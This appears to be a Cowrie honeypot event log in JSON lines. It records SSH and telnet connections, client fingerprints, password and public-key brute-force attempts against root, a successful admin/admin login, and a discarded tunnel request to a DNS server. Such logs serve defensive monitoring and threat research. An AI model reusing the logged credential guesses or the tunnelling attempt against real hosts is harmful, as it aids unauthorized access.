{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:cd:82:12:d0:1a:78:f7:77:56:77:42:20:c1:72:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC75jrD0jxRGqODreuyhL+E7WgrWAkQHTQiUnpLypEyMhSovFKcwvxt44GJDaN7hDwBIpK6RMK5rxMlHk8ZoFrz7qgMwSmqmanUVs1nkxbPpeDrU+/1lIrWZzqd/L8WGxXyeV1AbKEbFYtP3CjEl5MrrgnFYrOnMluatx81QfkNcXi9JFr5PEx7Re9D865GRMJQpD5kLTkmMdXf3yVlfh68/kWwtdiQI+ujOpqlxJ0Da00b/dtVbmmyb9MW5pw3hAp7h+YmOUm8mr17t/de5bI9clbft/Gg/rab/i/1e2iVExKuaPsMz3a5oOBuFhfGKK/8DpQqbxmZzWRtHseJSqGT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.848757Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:0e:9a:62:45:84:be:31:45:aa:f2:9d:88:b2:f1:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTVXOl+YGPSWNLhjW61BhD2b5b7vuOnEpAf8aE/d+KyMK/EpMbAhnIp57YFnlDnVk5NZ83KAi0Or4/p5UfD9EocfADQCyCtG8E58LJtdVMdGSQl3qIDe36zTCwrATON/ccvze3Vt8EFXtfNmkY97zk/VuVcyo6faUvRwdMWGPtUTfczBqMztzzimJhLC+EqKKG29bsfM81qsCFtbJ5f+Kc2Y/J2furpB3EKt3f544LDoJcwmt+ZqjgApeto5Qlusw0isJJf5w37KObntApsTAX4bu7Inqbk+KWUp4gBVW7Ue+9ARRf8tk5p/oa1kHq2bdoULK25kypiYoV6thelgh9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:0e:9a:62:45:84:be:31:45:aa:f2:9d:88:b2:f1:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.877762Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:0e:9a:62:45:84:be:31:45:aa:f2:9d:88:b2:f1:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTVXOl+YGPSWNLhjW61BhD2b5b7vuOnEpAf8aE/d+KyMK/EpMbAhnIp57YFnlDnVk5NZ83KAi0Or4/p5UfD9EocfADQCyCtG8E58LJtdVMdGSQl3qIDe36zTCwrATON/ccvze3Vt8EFXtfNmkY97zk/VuVcyo6faUvRwdMWGPtUTfczBqMztzzimJhLC+EqKKG29bsfM81qsCFtbJ5f+Kc2Y/J2furpB3EKt3f544LDoJcwmt+ZqjgApeto5Qlusw0isJJf5w37KObntApsTAX4bu7Inqbk+KWUp4gBVW7Ue+9ARRf8tk5p/oa1kHq2bdoULK25kypiYoV6thelgh9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.883301Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:f0:b9:ec:65:20:ab:b8:3b:37:cb:a0:f3:46:03:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCprP18tTJzchxqJzg1TS+KN+Q+uhyRG8crjyjvrIpWIWzS4OC10gMnYDgyCNu6iGFMA9UoMP4dKaoz3e12umqG5KzDwQbY1AWNaABVu6Bj19l/QHk67yKdvmhPBSHRFdAkV+z80HB94sqvFRP/TaPOSM6+pGqz6ONzp8MJOiZnNjCaHlyD5xbeKRBF2dQV51GIIEbVpISLPrrTHkT7d8L4W8L79isbABmKGd9x5QS7fV8D5HGyxOW20yR7dCVr5l/gH1c7plEyf90rBISpMEccJ+X/B0dND3skFWXheYsJsfeO5mI6ZBrdMwqiNSEPD3hFtnmxVM1SakooCJXkF5r1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:f0:b9:ec:65:20:ab:b8:3b:37:cb:a0:f3:46:03:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.912493Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:f0:b9:ec:65:20:ab:b8:3b:37:cb:a0:f3:46:03:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCprP18tTJzchxqJzg1TS+KN+Q+uhyRG8crjyjvrIpWIWzS4OC10gMnYDgyCNu6iGFMA9UoMP4dKaoz3e12umqG5KzDwQbY1AWNaABVu6Bj19l/QHk67yKdvmhPBSHRFdAkV+z80HB94sqvFRP/TaPOSM6+pGqz6ONzp8MJOiZnNjCaHlyD5xbeKRBF2dQV51GIIEbVpISLPrrTHkT7d8L4W8L79isbABmKGd9x5QS7fV8D5HGyxOW20yR7dCVr5l/gH1c7plEyf90rBISpMEccJ+X/B0dND3skFWXheYsJsfeO5mI6ZBrdMwqiNSEPD3hFtnmxVM1SakooCJXkF5r1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.917259Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:46.949546Z","src_ip":"198.46.134.148","session":"ebd4e3ae3739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40320,"dst_ip":"10.17.0.5","dst_port":23,"session":"883de4cd07d7","protocol":"telnet","message":"New connection: 152.42.224.71:40320 (10.17.0.5:23) [session: 883de4cd07d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:55.696733Z"}
{"eventid":"cowrie.session.closed","duration":25.7293963432312,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:56.796355Z","src_ip":"152.42.224.71","session":"7facc7f9f496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.02400875091553,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:31:57.264241Z","src_ip":"152.42.224.71","session":"4db6bfeb3711","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41204,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3bc0fc590f6","protocol":"ssh","message":"New connection: 147.45.199.80:41204 (159.203.135.109:22) [session: d3bc0fc590f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:32:22.297461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:32:22.302641Z","src_ip":"147.45.199.80","session":"d3bc0fc590f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:32:22.404591Z","src_ip":"147.45.199.80","session":"d3bc0fc590f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reebok","message":"login attempt [root/reebok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:32:22.707284Z","src_ip":"147.45.199.80","session":"d3bc0fc590f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:32:23.810359Z","src_ip":"147.45.199.80","session":"d3bc0fc590f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59514,"dst_ip":"159.203.135.109","dst_port":22,"session":"c852587438ec","protocol":"ssh","message":"New connection: 103.176.20.57:59514 (159.203.135.109:22) [session: c852587438ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:00.907403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:00.913269Z","src_ip":"103.176.20.57","session":"c852587438ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:01.169452Z","src_ip":"103.176.20.57","session":"c852587438ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123zxc123","message":"login attempt [root/123zxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:01.913108Z","src_ip":"103.176.20.57","session":"c852587438ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:03.168953Z","src_ip":"103.176.20.57","session":"c852587438ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33270,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e4fd203d48e","protocol":"telnet","message":"New connection: 152.42.224.71:33270 (10.17.0.5:23) [session: 0e4fd203d48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:08.942383Z"}
{"eventid":"cowrie.session.closed","duration":120.0019211769104,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:09.461204Z","src_ip":"152.42.224.71","session":"10a7ecdbd1ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54400,"dst_ip":"10.17.0.5","dst_port":23,"session":"957f27a9fb0c","protocol":"telnet","message":"New connection: 152.42.224.71:54400 (10.17.0.5:23) [session: 957f27a9fb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:23.158297Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54414,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d879894de67","protocol":"telnet","message":"New connection: 152.42.224.71:54414 (10.17.0.5:23) [session: 4d879894de67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:24.138296Z"}
{"eventid":"cowrie.session.closed","duration":21.697334051132202,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:30.639430Z","src_ip":"152.42.224.71","session":"0e4fd203d48e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51840,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e4f2e6d01d","protocol":"telnet","message":"New connection: 152.42.224.71:51840 (10.17.0.5:23) [session: 00e4f2e6d01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:31.373136Z"}
{"eventid":"cowrie.session.closed","duration":120.00306391716003,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:33:55.699643Z","src_ip":"152.42.224.71","session":"883de4cd07d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39052,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7faf70378dc","protocol":"ssh","message":"New connection: 87.251.64.176:39052 (10.17.0.5:22) [session: c7faf70378dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:08.376288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:08.380955Z","src_ip":"87.251.64.176","session":"c7faf70378dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:08.477505Z","src_ip":"87.251.64.176","session":"c7faf70378dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:08.767254Z","src_ip":"87.251.64.176","session":"c7faf70378dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:08.867077Z","session":"c7faf70378dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:08.964251Z","src_ip":"87.251.64.176","session":"c7faf70378dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:09.198255Z","src_ip":"87.251.64.176","session":"c7faf70378dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.61299157142639,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:15.986015Z","src_ip":"152.42.224.71","session":"00e4f2e6d01d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50572,"dst_ip":"10.17.0.5","dst_port":23,"session":"f51bad8ea729","protocol":"telnet","message":"New connection: 152.42.224.71:50572 (10.17.0.5:23) [session: f51bad8ea729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:34:43.404896Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":33100,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf20ac521cc","protocol":"telnet","message":"New connection: 213.108.3.46:33100 (10.17.0.5:23) [session: 0bf20ac521cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:02.891035Z"}
{"eventid":"cowrie.session.closed","duration":0.023557186126708984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:02.914468Z","src_ip":"213.108.3.46","session":"0bf20ac521cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38000,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f6d072f016","protocol":"telnet","message":"New connection: 152.42.224.71:38000 (10.17.0.5:23) [session: 71f6d072f016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:07.960407Z"}
{"eventid":"cowrie.session.closed","duration":114.83298659324646,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:18.971154Z","src_ip":"152.42.224.71","session":"4d879894de67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47128,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ce9c0eceec","protocol":"ssh","message":"New connection: 103.77.175.15:47128 (159.203.135.109:22) [session: 76ce9c0eceec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:21.356893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:21.402689Z","src_ip":"103.77.175.15","session":"76ce9c0eceec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:21.606732Z","src_ip":"103.77.175.15","session":"76ce9c0eceec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11235813","message":"login attempt [root/11235813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:22.595145Z","src_ip":"103.77.175.15","session":"76ce9c0eceec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017318725586,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:23.159883Z","src_ip":"152.42.224.71","session":"957f27a9fb0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:23.849788Z","src_ip":"103.77.175.15","session":"76ce9c0eceec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.02279281616211,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:25.427519Z","src_ip":"152.42.224.71","session":"f51bad8ea729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.160.47","src_port":37484,"dst_ip":"10.17.0.5","dst_port":22,"session":"67d8536cc33c","protocol":"ssh","message":"New connection: 194.163.160.47:37484 (10.17.0.5:22) [session: 67d8536cc33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:33.526245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:35:33.531458Z","src_ip":"194.163.160.47","session":"67d8536cc33c","protocol":"ssh"}
